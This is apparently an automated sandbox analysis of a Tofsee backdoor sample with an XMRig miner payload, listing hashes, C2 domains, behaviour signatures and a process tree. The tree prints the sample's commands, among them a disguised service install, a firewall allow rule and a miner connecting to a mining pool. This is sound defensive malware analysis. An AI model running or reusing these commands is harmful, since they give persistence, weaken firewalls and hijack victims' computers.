Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/12/2022, 18:30

General

  • Target

    file.exe

  • Size

    214KB

  • MD5

    31d5592f1627d5c5f133a440001e9acb

  • SHA1

    9d302c00bc8dc45a3ee7d47234e8b68444c15a72

  • SHA256

    c310bcffb9147595faf00f7bfe71ebf3fc64027258e7ae643eca87e3f072ced1

  • SHA512

    1de2102810bf12f2da7a3fdda90255b48f7454fd4bfcbdc220653460f373bc7efbbe6d71aafbcd0666864c10e61c08c718951aff6656dcaba9978f38cfdf154d

  • SSDEEP

    3072:0ws4u8Larfv0RSaUNyzrXXNOau1LszvT1l2I840zwUzQRKF+:zNL+f3aUkzrXXNOv1gzb1l2X40M2b

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4652
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vwxnjlnm\
      2⤵
        PID:4144
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\juqvmfrg.exe" C:\Windows\SysWOW64\vwxnjlnm\
        2⤵
          PID:3084
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vwxnjlnm binPath= "C:\Windows\SysWOW64\vwxnjlnm\juqvmfrg.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vwxnjlnm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4604
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vwxnjlnm
          2⤵
          • Launches sc.exe
          PID:540
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:204
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4652 -s 1036
          2⤵
          • Program crash
          PID:3152
      • C:\Windows\SysWOW64\vwxnjlnm\juqvmfrg.exe
        C:\Windows\SysWOW64\vwxnjlnm\juqvmfrg.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:340
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2112
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2012
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 340 -s 184
          2⤵
          • Program crash
          PID:4836
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 4652 -ip 4652
        1⤵
          PID:4608
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 340 -ip 340
          1⤵
            PID:1064

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\juqvmfrg.exe

            Filesize

            13.9MB

            MD5

            b598e36af37a2589479864225a2a045d

            SHA1

            a8a93cafe413a19e0bfcb589d67f134f68bcb4e9

            SHA256

            abed0b596381baa103ad6b6355560fc2f31c5bf286e87a3abd3fdcd6fd481d1d

            SHA512

            9d4f50e8e43759e30333cc92308d5e1336aacaf370392bd246e2dbb33e64d5855b6609849a442c4324297af994f7705de4b364dd2488656ad5da87b978dd88b3

          • C:\Windows\SysWOW64\vwxnjlnm\juqvmfrg.exe

            Filesize

            13.9MB

            MD5

            b598e36af37a2589479864225a2a045d

            SHA1

            a8a93cafe413a19e0bfcb589d67f134f68bcb4e9

            SHA256

            abed0b596381baa103ad6b6355560fc2f31c5bf286e87a3abd3fdcd6fd481d1d

            SHA512

            9d4f50e8e43759e30333cc92308d5e1336aacaf370392bd246e2dbb33e64d5855b6609849a442c4324297af994f7705de4b364dd2488656ad5da87b978dd88b3

          • memory/340-151-0x00000000006AE000-0x00000000006BE000-memory.dmp

            Filesize

            64KB

          • memory/340-150-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/340-145-0x00000000006AE000-0x00000000006BE000-memory.dmp

            Filesize

            64KB

          • memory/2012-178-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/2012-173-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/2112-157-0x00000000007E0000-0x00000000007E6000-memory.dmp

            Filesize

            24KB

          • memory/2112-153-0x00000000001C0000-0x00000000001D5000-memory.dmp

            Filesize

            84KB

          • memory/2112-169-0x00000000017F0000-0x00000000017F7000-memory.dmp

            Filesize

            28KB

          • memory/2112-166-0x0000000006F80000-0x000000000738B000-memory.dmp

            Filesize

            4.0MB

          • memory/2112-147-0x00000000001C0000-0x00000000001D5000-memory.dmp

            Filesize

            84KB

          • memory/2112-163-0x00000000017E0000-0x00000000017E5000-memory.dmp

            Filesize

            20KB

          • memory/2112-160-0x00000000007F0000-0x0000000000800000-memory.dmp

            Filesize

            64KB

          • memory/2112-152-0x00000000001C0000-0x00000000001D5000-memory.dmp

            Filesize

            84KB

          • memory/2112-154-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/4652-143-0x0000000000783000-0x0000000000794000-memory.dmp

            Filesize

            68KB

          • memory/4652-144-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/4652-135-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/4652-134-0x0000000000570000-0x0000000000583000-memory.dmp

            Filesize

            76KB

          • memory/4652-133-0x0000000000783000-0x0000000000794000-memory.dmp

            Filesize

            68KB